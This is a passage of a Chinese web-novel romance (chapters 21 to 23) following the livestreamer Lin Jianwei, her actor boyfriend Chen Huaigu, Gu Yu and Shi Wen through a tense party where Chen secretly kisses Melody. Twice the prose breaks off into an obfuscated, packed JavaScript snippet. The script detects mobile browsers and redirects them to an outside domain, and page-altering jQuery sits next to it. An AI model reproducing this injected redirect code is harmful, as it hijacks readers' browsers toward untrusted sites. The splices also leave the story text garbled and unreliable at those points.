而且发送时间好巧不巧,就是在昨晚的聚会之前。 林见微的内心里,千万匹羊驼奔腾而过,发出咩咩咩的嘲讽笑声。 抓起手机,她在微信里搜了下“演员时闻”。 没想到,页面直接跳转到了聊天页面,最上面是一行字: 演员时闻已经通过了您的好友申请,现在你们可以开始聊天啦。 时间显示是昨天晚上的6点半。 等一等……6点半的时候,她还在手忙脚乱地收拾自己,陈怀顾在楼下等他,他们将近7点才到饭店。 那也就是说,她刚刚发送了好友申请,时闻就通过了?? 这不科学。 时闻这个老干部一样的人,怎么可能这么随随便便就加了陌生人的微信?? 林见微想来想去也想不明白,干脆直接发了条消息:[嗨,我是大劈叉,昨天晚上不好意思啊,你的衣服还在我这里。] [我抽空把它送到干洗店,洗好之后还给你吧。] 消息发送之后,林见微莫名地有些忐忑不安。 过了半天,时闻没有回复消息,林见微悬起来的心慢慢落了下来,那股莫名的紧张焦虑也舒缓了一些。 她又随意刷了刷视频,就开始准备下午派对的行头。 从衣橱里拿了件碎花吊带,浅蓝色牛仔短裤,她给自己绑了个丸子头,浅浅地化了个淡妆。 大劈叉本人长得真的配得上天生丽质四个字,是天然的氧气美人。 虽然昨晚因为喝了太多酒没有睡好,虽然还有姨妈傍身,但毕竟青春无敌,林见微只在眼下稍稍多填了些遮瑕,整个人立刻疲态尽消。 绑了丸子头之后,饱满的额前碎发自然垂下,整个人更显得元气满满,甜美可爱。 昨天晚上她刻意把营造了一种温婉知性的感觉,妆容和衣服都偏成熟,但今天的她主打一个做回自己的舒适感。 她在镜子里端详了好一会儿,对今天的造型十分满意。 涂上粉色唇釉,林见微看了下表:现在是三点二十。 陈怀顾说好三点半过来,鉴于昨天让他等了几分钟,结果他明显很不高兴一路上都拉着脸,所以林见微决定早点下去。 刚出酒店大门,一股混着潮湿气息的热浪扑面而来,炽热的阳光似火一样炙烤着大地。 林见微还没站一分钟,后背就开始微微发汗—— 室外少说有三十四五度,这种天气,哪怕刚从空调房里出来,随便站个几十秒钟,就会被暑热的大地和火辣的阳光双重夹击,烤到融化。 正当她犹豫要不要回酒店大堂等着时,街角的一辆黑色迈巴赫吸引住了她的目光。 这辆车……好像看着有些眼熟。 但她又说不清在哪里见过。 思忖间,那辆迈巴赫竟然径直开到了酒店门口。 往车窗内看了看,林见微登时明白她为什么会觉得这辆车眼熟了。 车窗缓缓落下,一张理着平头,精神帅气的脸露了出来。 “嘿!这么巧,你怎么在这里?”谷煜的声音里充满了兴奋。 林见微笑着说:“准备去朋友家开派对,在这里等车。” 谷煜笑得灿烂,露出洁白整齐的牙齿:“有缘千里来相会,浪费缘分是犯罪。在这偌大的城市里,只是因为在街角多看了这边一眼,就获得了如此巧遇。” “你直接上车吧,捎你一程!” 一开始认识谷煜的时候,林见微觉得他挺正常的,没想到越了解越觉得,这个人还挺神经的,二了吧唧的。 她原本没想多说什么,但车内不断涌出的凉气实在是太受用,她便说:“你们这是要去哪?” 她问“你们”,而不是“你”,是因为谷煜坐在副驾驶上。 谷煜后面,好巧不巧,时闻手握方向盘,一脸严肃地直视前方。 21.二十一 时闻穿着亚麻白色衬衣,袖口挽在手肘下方,露出劲瘦紧实的手臂,左手手腕处带着金色腕表。 一般来说,金色容易显得俗气,但戴在那人手上,却只显得高贵奢华。 在谷煜和林见微对话的过程中,时闻始终目视前方,修长的手指握在方向盘上,脸上是那副惯常的淡然神色。 车内萦绕着一股淡淡的令人心神沉静的木质香调。 谷煜笑着回答:“我也去朋友聚会,这位是我的司机,送我过去。” 听到“司机”这个称谓,时闻皱了皱眉,眼角溢出了嫌弃。 林见微非常确信,如果不是她在这里,时闻可能直接就把谷煜推出车外了。 “诶,你恢复得怎么样了?我看你昨天走的时候,状态不太好。” 谷煜主动提起了昨晚的事,林见微正好借此说道:“我休息过来了,睡了一觉就好了。对了,昨天晚上我不小心把外□□脏了……” 谷煜直接摆摆手:“害,别放在心上,不就一件外套嘛,脏了就脏了,能洗就洗,不能洗你就留着废物利用一下,改成桌布、窗帘什么的……” 话还没说完,时闻冷冷插道:“别暴殄天物。” 谷煜不屑地说:“你西装那么多,穿都穿不过来,何必在意。” 时闻白了他一眼,冷冷吐道:“但那件是我的最爱。” 谷煜语塞半晌,林见微忙抢道:“对不起,是我不好,我……我之前给你发了消息,你可能还没看到。我抽空干洗一下,对不起。” 时闻终于转过头望着她的脸。 燥热的大夏天,时闻身上却有一种让人心神俱静的气场,她看着他,眼前突然漂浮出一片世外桃源的场景—— 山林之间,翠绿树木环绕间,一间小庐里案上摆着新泡的茶,窗外雨声沥沥,荡涤着山林和天地间的尘埃。 时闻身上总是萦绕着一股隐士的气质,是那种看穿红尘之后只想寄情山水之间的感觉。 这时,时闻开了口,声线低沉富有磁性:“我回你消息了,没看到吗?” 林见微一怔,立刻从包里拿出手机,划开一看,心里立刻大叫一声。 微信里,时闻的头像右上角,果然有一个醒目鲜红的标致。 他果然回复了,十五分钟前。 那时她正忙着换衣服扎头发涂口红,没仔细看手机。 消息预览的界面上,时闻回的是:不用了,肯定洗不掉了。 林见微:…… 大哥那你倒是说说怎么办啊! 她抬起头,无奈地笑着看着他:“那……你看这事怎么解决……?” 时闻沉吟片刻后慢慢说:“要不我把买衣服的收据发给你,你帮我……” 这时,林见微眼角余光突然扫到街角处,此时正值下午太阳西斜,街角的车反着一片金黄的流光。 她从一片流光溢彩中精准辨别出了一辆白色跑车。 时间到了下午三点半,陈怀顾过来接她了。 一想到他那张动不动就拉得老长的驴脸,林见微就大脑发麻,于是自动屏蔽了一切,对车里说: “你们先走吧,我需要闪人了。” 说完,她扭头一路小跑跑回了酒店大堂。 时闻:“……” 谷煜讶异地望着她离去的背影,看着丸子头随着她的步伐一跳一跳的。 过了好一阵,他突然明白了什么,神情严肃地缓缓关上窗,压低声音幽幽地说: “时大公子,看来最近的失业对你打击很大啊。你手头再紧,怎么能开口找一小姑娘要钱呢??” 时闻怔住,喉结上下动了几动,半晌才说:“我说的是,要不我把买衣服的收据发给你,你帮我在原品牌再选一件合适的。” “她衣品挺好的,所以我想让她帮我选件衣服,我满意的话这事就算结了。” 这下轮到谷煜愣住,可他还没来得及说什么,时闻一脚油门踩了下去,车子朝机动车道汇去。 时闻和谷煜刚走没多久,陈怀顾的跑车就从街角驶了过来。 因为是市中心,每个路口的车流量都很大,所以红灯等得久,陈怀顾在街口足等了近两分钟,才终于等来了绿灯。 他的车里放着重金属摇滚音乐,而且是那种一打开车门就会扰民的音量,所以他完全沉浸在自己的世界里,没多留意周围的情景。 所以他并没有看到,在他到来之前,一辆黑色迈巴赫从酒店门口飞驰而去。 他刚刚在路边停下车,酒店大门就打开,穿着白色吊带和浅蓝色牛仔裤的林见微从里面小跑过来。 丸子头在空中一翘一翘的,链条包不停地前后拍打,林见微今天显得很邻家,周身散着活力朝气,是个元气满满的少女。 陈怀顾隔着车窗盯着她一步一步跑来,不由得有些心驰神往。 大劈叉是好看的,不然他当初也不会把她骗到手。 车门拉开,高分贝的重金属音乐尖叫着飘了出去,引起路人一阵侧目。 一条白皙的大长腿伸了进来,一股淡淡的花香扑面而来,林见微坐进副驾驶,拉上车门。 陈怀顾盯着她雪白的胳膊和脖颈,又看向那张淡施粉黛就很好看的脸:“今天穿得挺凉快。” 林见微觉得莫名其妙,琢磨了一下后小心翼翼地问:“是不是我穿得太暴露了,我回去换一件也行。” 陈怀顾摇摇头:“这样就挺好。” 说完他努努嘴,示意她把安全带扣上,然后踩下油门,朝下个路口驶去。 从一进车门的时候,林见微就在内心尖叫:好吵,好冷,好想下车! 车内的生态环境确实很反人类:重金属音乐响出天际,简直要把车顶捅个窟窿,空调调到16度,几个风扇呼呼向外吹着冷气。 穿着吊带短裙的林见微刚坐进去,就连打了几个喷嚏。 她刚刚是真想回去换套暖和的衣服。 整整二十分钟,林见微如坐针毡。座位前方的出风口气势磅礴地吹着冷风,吹得林见微脸颊生疼关节冰凉。 她抱着胳膊,一边努力催眠说我不冷我不冷,一边看着窗外景色飞速后退。 终于,跑车驶入棕榈大道,随着熟悉的大别墅映入眼帘,一路的煎熬终于告一段落。 陈怀顾将车开进车库,钥匙一旋,车熄火后径直下车。 林见微慌忙拉开车门跟上。 在门口处,陈怀顾按下门铃,等着回应的功夫,对着门廊上的玻璃窗快速检查了下发型。 没多时,门内响起一阵轻快的脚步声。 大门打开,钱雯那张俏皮可爱的脸探了出来,微笑地看着两人,露出两个甜甜的梨涡。 “你们来啦!今天还挺早。” 林见微也笑道:“路上没堵车。” 钱雯将二人往屋内迎,一路来到客厅,只见众人都在了: 麦乐鸡一袭金色抹胸长裙,及腰长发烫成大波浪,脚上是6厘米细跟高跟鞋,风情万种地坐在足够容纳十个人的沙发正中央。 两旁是郝施和Chris,二人一看也是精心打扮过了,但麦乐鸡的光芒霸气外露,闪瞎一切,直接艳压全场,盖过了所有人的风头。 见二人走进来,麦乐鸡也没起身,只是端坐在沙发上,手里摇着半满的香槟,微笑道:“哟,来了。” 说罢,她轻抿一口香槟,一旁的郝施和Chris互相对看一眼。 林见微一副灿烂笑容:“你们好。” 麦乐鸡单脚翘起,优雅地搭在另一条腿上,她今天特意化了偏港风的妆,搭配了一身金色饰品,整个人显得雍容华贵,气场十足。 她审视地看着林见微,目光意味深长。 林见微今天的吊带短裤都是地摊货,绑着的头发显得非常随意,整个人显得简洁随性,和麦乐鸡形成鲜明对比。 她目光扫过屋内众人,既而微微笑道:“有放包的地方吗?” 钱雯立刻应道:“有,在楼上,我带你上去。” 林见微点头,跟着她上楼走进偏侧的一个屋子内,就是上次她和麦乐鸡发生对峙的客卧,又壕又夸张的装潢里面的一张小沙发上摆着众人的包和外套。 林见微将链条包从肩上取下,摆在沙发一角,笑着说了谢谢,然后二人一前一后走下楼梯回到客厅。 回去后,陈怀顾已经被招呼坐下,麦乐鸡和郝施正满脸笑意地跟他说着群蕉荟萃的事情。 “7月10号和11号陈大明星有档期吗?我们香蕉平台有一个群蕉荟萃活动,平台上的头部小姐姐们都会悉数到场,和粉丝进行亲密互动哦。” 陈怀顾两眼放光:“你们都要去吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444169|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郝施笑道:“当然,我和麦乐鸡都会过去,到时候你来找我们玩啊。” 陈怀顾连连点头称赞:“好,活动有什么节目吗?” 郝施抿嘴一笑:“那可精彩了,你知道柚子平台正在策划一场大型选秀节目吗,叫做《星璨》,因为我们平台上的唱跳主播比较多,公司高层和《星璨》节目谈下了合作,说要从我们平台选送一男一女参加选秀。” 《星璨》就是李寅虎之前提到的正在策划的节目,是一场规模浩大,投资上亿的网上节目。 这档节目据说会请来多位重量嘉宾作评审,还有来自各大娱乐公司和直播平台的选手,所以虽然还在筹备阶段,但网上讨论声已经不小。 如果能参加这档节目,哪怕只是露个脸一轮游,对于选手来说也是泼天的曝光率。 现在各家公司里,所有还没出道的、过气的、还有想搏更多流量的人,都在明争暗斗争夺入赛名额。 郝施和麦乐鸡都坐拥1w+的粉丝量,所以有资格参加评选。 “我和Melody都准备了热歌劲舞,到时候你来现场看吖。”郝施笑着喝了杯酒。 陈怀顾正喜色洋洋地点头,但余光看到林见微出现在一角,立刻尴尬地笑了一笑,拿起酒杯抿了一口。 林见微的出现让麦乐鸡和郝施二人脸上如刮龙卷风一般,笑意一扫而尽,取而代之的是一片冰冷。 她们默默审视着林见微,想看看她今天到底想干什么。 迎着众人压迫感十足的目光,林见微神态自若,微笑问道:“有酒吗,我想敬大家一杯。” 郝施直直看着林见微,同时朝厨房的方向抬了抬下巴,意思是那边有酒。 林见微走过去给自己和陈怀顾各倒了一杯,走回客厅,给陈怀顾递上酒后,并不坐下,而是回到客厅中央。 缓缓举起酒杯,她的脸上带着还是大明星时,面对镜头常用的明艳笑容。 她站在客厅中央,俯视着麦乐鸡: “今天,我是特意来给Melody道歉的。” 此话一出,麦乐鸡和郝施脸上都是错愕万分。 她们万万没想到,林见微真的大大方方地站在这里,当着众人的面,说出了道歉。 直觉告诉她们哪里不对,所以二人竖起耳朵听了下去。 “上次聚会是我小气了,唐突了Melody,一切都是我的不好。” “我不该违背公司的约定,更不该顶撞带我入行,一路给我无私指导的恩人,不该有所隐瞒。” “这杯酒我干了,希望Melody大人大量,不和我计较。” 说完,她仰头,将杯子里的香槟一饮而尽。 屋子里寂静一片,众人快速地交换着惊讶目光,他们没有想到,就在刚刚,大劈叉如此坦然地说出了那样一番话。 目光交错,无数猜想在隔空碰撞,但最后,所有人都看向麦乐鸡。 来之前,麦乐鸡告诉大家大劈叉要当众道歉,当时所有人都半信半疑。 郝施甚至甩了甩头发毫不掩饰地说,怎么可能,大劈叉怎么可能拉下脸做这种会当众蒙羞的事,背后肯定有鬼,这丫头憋了一肚子坏水。 说不定是为了求麦乐鸡为她争取一张参加群蕉荟萃的入场券。 毕竟如果能入场,就有机会和业内的头部主播拉近关系,和一些粉丝大哥近距离互动,还能接触到顶级的商业资源。 这样的上好机会,谁都会眼热。 然而她们等了半天,林见微就站在客厅中间,微笑地看着她们,丝毫没有再往下说的意思。 目前为止,林见微做得有勇气有担当,所以如果麦乐鸡继续计较,反而显得小气失了风度。 麦乐鸡也明白这个道理,但前面风头摆得太足,再加上没料到林见微如此坦诚,她一时有些适应不来。 清了清嗓子,她缓缓站起身来,目光直直看向林见微,大脑急速运转起来。 然而,正当她终于准备说些什么时,大门的方向突然传来几声清脆掌声—— 啪、啪、啪 下一刻,众人讶异的目光里,一个瘦高男生从门廊后转了出来,干净帅气的脸上带着赞许而真诚的笑。 谷煜径直走到林见微身前,赞道:“好好好,干戈化玉帛,这是好事,我来随一杯。” 22.二十二 谷煜的意外到来让所有人都吃了一惊。 林见微讶异地看着他,心道:原来你刚刚说要参加的派对,就是这个派对啊?? 怎么不早说?? 麦乐鸡惊讶地望着谷煜,又惊喜又疑惑:“谷公子,你怎么来了?” 她很确信,今天并没有邀请谷公子大驾光临。 上次谷煜愿意百忙之中赏脸参加她的派对,已经让她受宠若惊蓬荜生辉,没想到谷煜今天不请自来。 这实在是太好了。 说明上次她招待周到,让谷煜印象深刻,愿意路过看看。 郝施和Chris也赶紧站起来笑脸相迎,钱雯吃惊地捂住嘴,直呼天啊,反应过来后一路小跑到厨房,给谷公子倒了杯香槟。 一众惊喜的神色中,陈怀顾那张瞬间阴沉下去的脸显得格外突出。 他的心里飘过一阵wtf。 带着狐疑、震惊、愤怒,陈怀顾瞪着翩然而立的谷煜,恨不得一拳打在他那张干净帅气的脸上。 谷煜也冲他笑了一下,那张看起来毫无城府人畜无害的此刻显得那么讨人厌。 陈怀顾刚想脱口而出“你怎么来了”,麦乐鸡已经抢先一步,亲切拉着谷煜手腕:“哎呀,您可是稀客啊,怎么有空来找我们玩?” 这时钱雯从厨房回来,手里拿着刚倒好的香槟,笑盈盈地递上,两个梨涡绽开:“来,刚开的香槟,快尝尝。” 谷煜道谢后接过香槟,喝了一小口,转头看着麦乐鸡:“我昨晚和朋友吃饭的时候听说你们今天有聚会,就不请自来了,不好意思。” 麦乐鸡连忙摆手:“怎么会,千万别这么说,我们平常请你都请不来呢,我这个地方,你想来随时来!” 谷煜笑道:“好,我正好有点生意上的事,想和你男朋友聊一聊,他在家吗?” 麦乐鸡的神色在一瞬间突然变得很复杂,有一种“天上突然掉馅饼”的狂喜,掺杂着一丝丝不明所以的尴尬。 “哎呀瞧您这话说的,谷公子想找我们聊生意,我们当然随时奉陪啊!” “但……但我男朋友他这个人不着家的,一个月不回来都很正常,我想跟他见面还得找他秘书提前报备……” “……我这就去给他秘书打电话。” 谷煜忙拦住转身就走的麦乐鸡:“没什么要紧事,不方便就算了。” “我听说你男友是做食品贸易生意的,我这边最近出了点食品安全问题,舒养酸奶,挺头疼的,想找人聊聊。” 麦乐鸡一副“这你可就找对人了”的神色,洋洋得意道:“你还别说,我男朋友认识一些监管局上的人,改天,哦不,就今天,我让他牵个线介绍你们认识认识。” 谷煜脸上依然是淡淡的神色:“好,那就多谢。” 麦乐鸡这么一打岔,陈怀顾就不好发作了,只得阴着一张脸站在旁边,恨恨地瞪着其他人。 林见微确实不知道谷煜会突然过来,一时走也不是,留也不是,也略带尴尬地站在一旁,静观其变。 谷煜在富二代圈子里面很出名,他低调务实,没有一丁点的嚣张跋扈,甚至有点清高,所以很少有聚会能请得动他。 这次他不请自来,实在令麦乐鸡等人惊喜不已,众人纷纷将他团团围住,问东问西。 但说来说去,谷煜似乎只关心他的生意,总把话题扯回舒养酸奶,抓着麦乐鸡问她男朋友什么时候有空。 麦乐鸡越来越尴尬,最后只得说:“他现在好像在欧洲那边,可能还没起……我给他打个电话试试。” 说完,她拿起手机,先是走到偏侧的一个小屋子里,掩上门,但旋即又快步出来,走上楼梯。 麦乐鸡走后,众人继续对谷煜进行狂轰滥炸,恨不得把他生平家谱都问个遍。 谷煜一直保持着既礼貌又疏离的态度,虽然有问必答,但每个问题都答得十分简短,让人接不下去。 这时,林见微悄悄拉了一下陈怀顾的衣角,在他耳边低声说:“亲爱的,你能不能帮我去包里拿份文件?在夹层里,你一翻就能翻到。” 陈怀顾皱眉道:“你自己怎么不去?” 林见微:“麦乐鸡正好不在,我需要趁机去找郝施和钱雯问点事情,一些女生之间的事情,你就帮我个忙,文件我等下需要用。” 陈怀顾不情不愿,但此时林见微附在他耳边,带着甜香的呼吸喷入耳中,软糯的声音随之落了进来: “求求你了,帮帮我吧。晚上我会乖乖的。” 陈怀顾突然觉得体内一紧,同时热血在四肢流通循环,他喉结上下一动,眼神里已带了几分贪婪。 望着林见微那对水汪汪扑闪着的大眼睛,还有那饱满弹性的唇,他最终妥协,手指在她小巧鼻头上一刮,语气软下来带了几分宠溺:“好吧,我就受累帮你取了。” 林见微雀跃地跳起,在他脸上轻啄一口,带着甜香的吻让陈怀顾瞬间感到血液直冲脑门。 他微笑着撇下众人,走上楼,挨个房间寻找林见微的包。 于是,当他来到其中一个房间门口时,隔着虚掩的门,他听见几句话飘了出来。 “对不起亲爱的,我是不是把你吵醒了……对不起对不起你别生气……你先别睡我有很重要的事情要找你 ……喂?” 他听出来这是麦乐鸡在给男朋友打电话,本想走开,但屋内突然传来一阵低声啜泣。 那啜泣声极其克制,显得小心翼翼的,似乎是麦乐鸡不愿意让人听见。 与此同时,楼下传来一阵欢声笑语,杯盏相碰的声音,里面有郝施温柔妩媚的笑声,还有谷煜爽朗地高声评论着什么。 他的心里立刻激起一股混着愤怒和厌恶的躁动,脑海中浮现出几天前的一幕幕。 内心愤恨着,以至于当虚掩着的门被拉开,麦乐鸡惊叫一声,他才恍然回神。 迎着麦乐鸡震惊不已的目光,陈怀顾慌忙道歉:“对不起,我是来帮大劈叉取东西的,我……” 他突然说不下去了,因为面前的麦乐鸡眼圈通红,两米八的女王气场荡然无存。 她眼角带着没擦尽的泪痕,长而翘的睫毛上挂着几滴晶莹泪水。 她又惊又怕地望着他,显得那么弱小无助。 陈怀顾喉结滚动,未来得及说出的话都咽下,他呆看半晌,只吐出一句:“你还好吗?” 麦乐鸡明显有些不知所措,她本想去隔壁的洗手间迅速补个妆,掩盖一下哭过的痕迹。 但没想到刚一开门,就看到了呆立在门口的陈怀顾。 她拿不准此刻该说些什么做些什么,只得轻轻点头:“我没事。” 说着,她低下头避开陈怀顾炽热的目光。 陈怀顾的眼里出现映着她白皙瘦长的后脖颈,裸露瘦削后背一路向下收进长裙下摆,流畅臀线隐隐露出。 他艰难吞咽一下。 “你……对不起我不是故意要在这里的,我这就走。” 陈怀顾最后贪婪地看了一眼麦乐鸡赤裸在外的后背,然后在仅存的理智的带领下,勉强转身。 可就在这时,身后传来一声轻柔呼唤:“等一等。” 陈怀顾扭头,只见麦乐鸡楚楚可怜地看着他,洁白的齿尖微咬下唇,犹豫片刻她大着胆子走了过来,一把抓住他的手—— 麦乐鸡的手瘦削细长,透着冰凉,握在陈怀顾早已悄然布满了汗的手心。 他紧张地看着她,没有抽手也没有动,眼睛里满是热切的询问。 麦乐鸡盯着他半晌,终于下定决心,另一只手也握了上来,将他拉进屋内,然后直勾勾地盯着他:“关上门好吗?” 陈怀顾呼吸急促,手心里的汗越聚越多,眼眸深处闪着躁动不安。 他定定地看着她,脑中一片嗡鸣,血液直冲脑门。 最终,理智的堤坝溃不成军,原始的欲望吹响了总攻的号角,陈怀顾鬼使神差地手指勾上门把手,轻轻向后一推。 咔哒,房门轻轻关上。 卧房里只剩下他们二人。 楼下的欢笑声透过紧闭的房门飘了进来,似乎是谷煜讲了个笑话,众人笑得很夸张,就连林见微的笑声也掺杂了进来。 陈怀顾往前一步,紧紧盯着站在原地的麦乐鸡。 二人目光如藤蔓一般在空中交接缠绕,空气里弥漫着突破禁忌的大胆。 然后,麦乐鸡往前一步,扑向近在咫尺的陈怀顾,双手缠绕在他胸腔两侧,踮起脚尖,嘴唇向他的嘴唇贴近—— 下一秒,二人吻在了一起。 这个吻持续了约十秒钟,也许是楼下的笑声太过喧闹,陈怀顾突然惊醒过来,睁开眼睛,推开了麦乐鸡。 “对,对不起,我,我只是来帮大劈叉找文件的,我这就走。”陈怀顾满脸悔意。 麦乐鸡愣了片刻,然后一把抓住转身要走的陈怀顾:“我不怪你,你……你一定压力很大,你和大劈叉……是不是遇到什么问题了?什么文件?” 陈怀顾轻叹一声,犹豫片刻还是转身说道:“我总觉得她变了,她以前是那么温柔体贴,我就是她的全世界,可是现在……” “现在她好像有了更多在乎的东西,比如她的事业。” 麦乐鸡眼里炽热的光突然熄灭了一下,随即一声冷笑:“事业?她那也叫事业?” 陈怀顾:“她最近的直播数据很有起色,粉丝数已经上千了,直播的内容也很吸人眼球。” 麦乐鸡轻笑一声,满是不屑:“都是暂时的,流量这件事是很玄的,她最近就是撞大运了,放心吧,她这个人啊脑子里都是稻草,火不起来的。” 陈怀顾:“我就是喜欢她脑子里都是稻草时候的样子,女人嘛,要那么多聪明才智有什么用,女人越能干,男人运就越差。” 麦乐鸡呆了半晌,然后自嘲地笑了笑:“是吗?我就呆呆笨笨的,可是那有什么用啊,我男朋友还不是一个月都不着家。” 麦乐鸡的话好似触动了什么开关,陈怀顾的目光蓦地变深,熄灭的热烈又被点燃。 他将麦乐鸡从头到脚仔细打量一番,既而笑道:“我要是你男朋友,肯定天天往家跑,我根本就不想出去,只想和你黏在一起。” 对面男人炽热的目光仿佛长着小触手,拂过时让她全身酥痒。她嘴角绽出欣然笑意,一股春意爬上眼梢。 陈怀顾是演员,常年练习的台词功底让他吐字轻而清晰,天生的低沉而富有磁性的嗓音给刚刚俗气露骨的话平添了几分深情。 麦乐鸡从未见过如此有魅力的男人,一时间竟有些沉沦。 她现在的男朋友,她费尽心思追来的富一代暴发户,和陈怀顾相比,好比一个是肮脏泥土里的臭泥鳅,一个是在高高云端上的圣洁天使。 而且,她的暴发户男友已经很久很久没有正眼看过她了。 虽然她对外的说辞是她男朋友业务太忙,全球到处飞,顾不上联系她,但实际上她心里明白,他很可能外面有人。 或者说,她自己就是他外面的人之一,现在他玩腻了,丧失了兴趣,就想冷处理,让她慢慢知难而退。 现在陈怀顾出现了,而且就在刚刚,他亲吻了她。 “你这么贴心,大劈叉一定很幸福啊。”麦乐鸡望着他那张标致的脸,半真半假地叹道。 麦乐鸡眼里那复杂的情绪让陈怀顾情不自禁地抬起手,一股怜惜之情涌上心头。 他触着她吹弹可破的脸,半晌轻声道:“你想幸福吗?” 麦乐鸡尽情享受着他指骨的触碰,微微闭上眼,眼泪蓄在眼眶上,点了点头,声音轻得发颤:“可是没人能给我幸福。” 陈怀顾呼吸变得急促而有了重量,他微微向前,炽热的气息尽数喷在麦乐鸡鼻间。 他手掌俯在她脸颊,反复摩挲,半晌轻声道:“那你……再耐心等一等?” 陈怀顾这句话充满了暗示意义,一瞬间麦乐鸡内心狂喜,转而理智压了上来—— 他暗示的是我想的那种意思吗? 她抬起头,大胆而认真地看了陈怀顾几秒钟,努力搜寻着一切线索。 陈怀顾那张俊俏的脸上带着令人不得不沉沦的深情,于是麦乐鸡让理智暂时退场,走上前深情地拥抱了他,眼泪夺眶而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楼下的欢笑声透过门缝传了进来,那是钱雯在格格傻笑,陈怀顾很想转身走开,但心里那一直跳动着的好奇还是让他问道:“你为什么这么不想让她解约?” 麦乐鸡眼底深处燃起两簇愤怒火苗。 “当时的合同是她自己签的,没人拿刀架在她脖子上逼她。” “这两年来,公司没少在她身上花心思,虽然她成绩差到姥姥家了,但公司一直对她不离不弃。” “现在,她暂时风光了一下,就想和公司解约??她想得可真美。再说了,天价的解约费她付得起嘛!” 陈怀顾更加好奇:“天价解约费?有多天价?” 麦乐鸡呵呵冷笑:“合同上规定了,她必须给公司直播满五年,每天直播12小时,要是完不成任务或者提前解约,就要赔付高达五千万的解约费。” 陈怀顾瞪大眼睛:“……五千万?” 麦乐鸡:“五千万和她现在背着的上亿债务相比,算什么啊!” 陈怀顾皱眉,想了半天还是说:“你千万别告诉别人,但实话跟你说,她那上亿的债务都是假的,她为了引流,自编自导自演了一出戏……” 麦乐鸡打断他:“呸,她可真能编!” 既而认真望向陈怀顾,盯着他的眼睛,一字一顿斩钉截铁地说:“她那些债务都是真的。” 陈怀顾一时间有些恍惚,脑子里疯狂处理着各种矛盾的信息。 他当然不相信大劈叉能欠债一个亿,她一个十八线小主播,涉世未深的小姑娘,怎么可能负债一个亿? 可是望着麦乐鸡这副斩钉截铁的神情,他一下子有些慌神,对自己之前的判断失去了自信。 万一麦乐鸡说的才是真的呢,他的女朋友瞒着他在外面借债一个亿,然后呢,想把他当冤大头ATM,等瞒不住的那一天,让他帮她还钱吗? 这时,麦乐鸡又说:“我之所以这么肯定,是因为她借债之前来找过我。” 陈怀顾更加惊讶了,一时间说不出话,好半晌才挤出两个字:“什么?” 麦乐鸡:“她当时家里遇到点事,本想找我借十万块钱,还在我这儿痛哭流涕的,各种立誓说一个月之后肯定还我。” “可谁知道她是不是为了买那些限量款的包和衣服才来借钱?我要是真借给她,那不相当于肉包子打狗有去无回。” “她那时也不知怎么了,可能是真的遇到事了吧,在我这里一哭二闹三上吊的,后来我问她,为什么不去试试高利贷?” 陈怀顾心里一沉,只听麦乐鸡说:“事实证明,她后来还真去了,而且,果然没钱还债。” 他内心震惊不已,突然想起两个月前大劈叉确实有一次和他说过,家里有点事,最近手头紧张。 他依稀记得,有天晚上大劈叉忧心忡忡地说,父亲生前的债主又回来找她了,勒令她还钱。 但后来他们就不再来了,应该是姐姐韦宁给了钱。 现在想来,是大劈叉借了高利贷补了缺,才让债主暂时消停的。 这时麦乐鸡又在他耳边说:“我好心提醒你一句,她这么大的事都瞒着你,继续和你在一起,她肯定没安好心!” 陈怀顾此时只想找个地方抽根烟冷静思考一下。 他面容冷峻地看着麦乐鸡,阴沉地甩下一句“我先出去了”,头也不回地大踏步往门口走去。 麦乐鸡一时搞不清楚状况,不明白陈怀顾怎么突然就要走——应该是得知真相后太过生气,急着要去找大劈叉算账。 这时她看见陈怀顾脚步钉在门口,整个人呆立在那里。 他的目光向下,紧紧盯着门把手。 麦乐鸡不明所以:“怎么了?” 她一边说一边跟了上来,这时只见陈怀顾慢慢转过头,脸上带着愤怒和惊讶,甚至还有一丝惧怕。 他迟疑片刻,还是手指着门把手,低沉问道:“我刚刚……没把门关严吗?” 23.二十三 麦乐鸡心里一惊,慌忙看向卧室的门——大门介于虚掩和关上之间,有一个极细的缝。 她努力回想着陈怀顾进门的场景——那仿佛是很久远的事了,刚刚发生了太多事。 陈怀顾反手关门时,她确实记得听到了很轻的“咔嚓”一声。 但是当时的一切都太过不真实,她也有可能幻听了。 “我不记得了……”麦乐鸡犹豫道。 陈怀顾站在门边,脸上阴晴不定,眼睛眯着,似乎想从这道极细的门缝里看出端倪。 楼下的笑声又飘了上来,陈怀顾的眉头似乎拧得更紧了。 良久,他用力握住门把手,似乎下定决心一般向外一推。 门外空荡荡的没有人。 陈怀顾发出一声几不可闻的如释重负的喘息。 “可能是刚刚我没有关严。”他撂下一句话,再没看麦乐鸡一眼,疾步走出。 麦乐鸡呆呆盯着他的背影,心脏砰砰直跳。 刚刚的一切都是真实的吗? 陈怀顾,高大帅气的娱乐圈男星,在她自己的卧室里,和她两情相悦? 麦乐鸡深吸一口气,摇摇头,思忖片刻后决定走下楼去。 她刚刚走了多久?一刻钟还是半小时?刚刚的一切让她失去了时间概念,低头看了一眼手机,才发现距离她开始打电话过去了28分钟。 还行,她和男朋友聊了半个小时的电话,这显得很甜蜜。 回到客厅,只见钱雯正和Chris聊什么有趣的事情,笑得前仰后合,差点摔倒磕到桌角。 这里似乎一切如常,但又哪里不太对。 麦乐鸡很快发现了问题:谷煜和林见微不在这里。 心里陡然疑惑大增,警铃大作,这时她发现郝施也不在客厅,转头一瞧,只见在不远处的开放厨房,她拿着香槟,半个身子斜倚在岛台上。 